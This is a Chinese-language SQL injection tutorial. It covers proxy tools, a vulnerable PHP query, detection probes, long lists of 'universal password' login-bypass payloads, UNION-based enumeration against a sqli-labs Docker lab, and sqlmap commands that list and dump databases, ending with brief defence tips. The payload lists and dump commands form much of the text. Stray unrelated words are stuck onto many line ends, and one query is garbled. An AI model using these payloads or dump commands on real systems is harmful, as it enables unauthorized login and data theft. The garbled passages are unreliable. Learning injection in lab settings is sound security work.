web 漏洞 - sql注入php
抓包工具css
BurpSuite
java 1.8html
BurpSuite是一款信息安全從業人員必備的集成型的滲透測試工具,它採用自動測試和半自動測試的方式,
包含了:
Proxy,Spider,Scanner,Intruder,Repeater,Sequencer,Decoder,Comparerjava
經過攔截HTTP/HTTPS的web數據包,充當瀏覽器和相關應用程序的中間人,進行攔截、修改、重放數據包進行測試,是web安全人
員的一把必備的瑞士軍刀。官方提供免費版和專業版,如下是兩個版本的功能對比。python
Fiddler
Fiddler是一個http協議調試代理工具,它可以記錄並檢查全部你的電腦和互聯網之間的http通信,設置斷點,查看全部的「進
出」Fiddler的數據(指cookie,html,js,css等文件)。
Fiddler 要比其餘的網絡調試器要更加簡單,由於它不單單暴露http通信還提供了一個用戶友好的格式。mysql
Linux KALIweb
基本安裝,系統內集成了不少安全相關的工具,能夠方便使用sql
SQL注入漏洞原理
什麼是SQL
結構化查詢語言,是一種特殊目的的編程語言,是一種數據庫查詢和程序設計語言,用於存取數據以及查詢,更新和管理關係數
據庫系統。docker
1. 看日誌
2. 測試防火牆數據庫
經過參數傳遞
php+mysql 例子:
$id=$_GET['id'];
$sql="select * from users where id=$id limit 0,1";
$result=mysql_query($sql);
沒有進行程序上的過濾,纔會被注入
哪些地方會產生問題?
一塊兒輸入的地方,與數據交互的地方
ASP 注入
access注入基本流程:(你猜我猜你猜不猜)
1.判斷有無注入
2.猜解表名
3.猜解字段
4.猜解管理員ID值
5.猜解用戶名和密碼長度
6.猜解用戶名和密碼
總結起來有如下四種判斷方法:
粗略型:提交單引號'
邏輯型(數字型注入):and 1=1/and 1=2
邏輯型(字符型注入):' and '1'='1/' and '1'='2
邏輯型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%
最經常使用的尋找SQL注入點的方法,是在網站中尋找以下形式的頁面連接:http://www.xxx.com/xxx.asp?id=YY 其中「YY」可能
是數字,也有多是字符串,分別被稱爲整數類型數據或者字符型數據。
一般可使用如下兩種方法進行檢測,判斷該頁面連接是否存在SQL注入漏洞。
如何去發現sql注入?
經過web漏洞掃描器
再參數後面添加錯誤語句
大量的對參數Fuzz測試
自覺
注入分類
數字型注入
SELECT * FROM users WHERER id=$id LIMIT 0,1;
字符型注入
SELECT * FROM users WHERE username='admin' LIMIT 0,1;
注入提交方式
GET
POST
COOKIE
HTTP 頭部注入
注入方式
基於報錯注入
基於布爾的盲注
基於時間的盲注
聯合查詢
內聯查詢
堆疊的查詢
mysql 手工注入
sqlmap 工具
萬能密碼 PHP
admin' or 1=1#
只有漏洞的才能使用
select * from user where username='admin' or 1=1#' and password='pass';
執行這條,不須要密碼直接登陸
or 1=1#' 1=1永真的,直接登。 單引號後的所有當註釋忽略了
asp aspx萬能密碼
1:"or "a"="a
2:'.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin'or 1=1#
PHP萬能密碼
admin'/*
密碼*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
使用docker安裝一個簡單的web 用來滲透測試
docker pull c0ny1/sqli-labs
docker run -dt --name sqli-lab -p 8003:80 acgpiano/sqli-labs:latest
主要流程有 (你猜我猜你猜不猜)
1.猜解字段
2.查看當前數據庫 %23 就是註釋符 #
3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 # 查詢全部數據庫
4. union select 1,group_concat(table_name),3 from information_from informationschema.tables
table_schema=0x7365637572697479%23
# 查詢數據庫中的表
5. UNION select 1,group_concat(column_name),3 from information_schema.columns where
table_name=0x7365637572697479%23
# 查詢表名中的全部字段
可使用的函數
1. version() # 查版本
2. user() # 用戶
3. database() # 查數據庫
4. security 轉成16進制 0x7365637572697479
5. order by 3%23 # 判斷字段數
6. union select 1,2,3 %23
SQLMAP 工具使用
更智能的去滲透分析
使用環境 Python
SQLMap 經常使用參數 -v 注入等級 一共有6個級別
1. 判斷注入
python sqlmap.py -u http://URL -v 3
2. 數據庫
python sqlmap.py -u http://URL --dbs -v 3
python sqlmap.py -u http://URL --current-user -v 3
3. 表名
python sqlmap.py -u http://URL --tables -D 數據庫名 -v 3
4. 字段名
python sqlmap.py -u http://URL --column -T 表名 -D 數據庫名 -v 3
5. 內容
python sqlmap.py -u http://URL --dump -C 字段名 -T 表名 -D 數據庫名 -v3
6. 指定抓取的數據包來測試
python sqlmap.py -r xxx.txt -v 3
我拿本身來測試,反正我沒成功 哈哈哈哈或或或
總結
post 如何使用POST方式
6. 指定抓取的數據包來測試
python sqlmap.py -r xxx.txt -v 3
如何取防禦SQL注入
1. CDN 隱藏真實IP地址2. 經過安全函數進行過濾3. 對數據庫最小權限設置4. 服務器針對性的WAF防火牆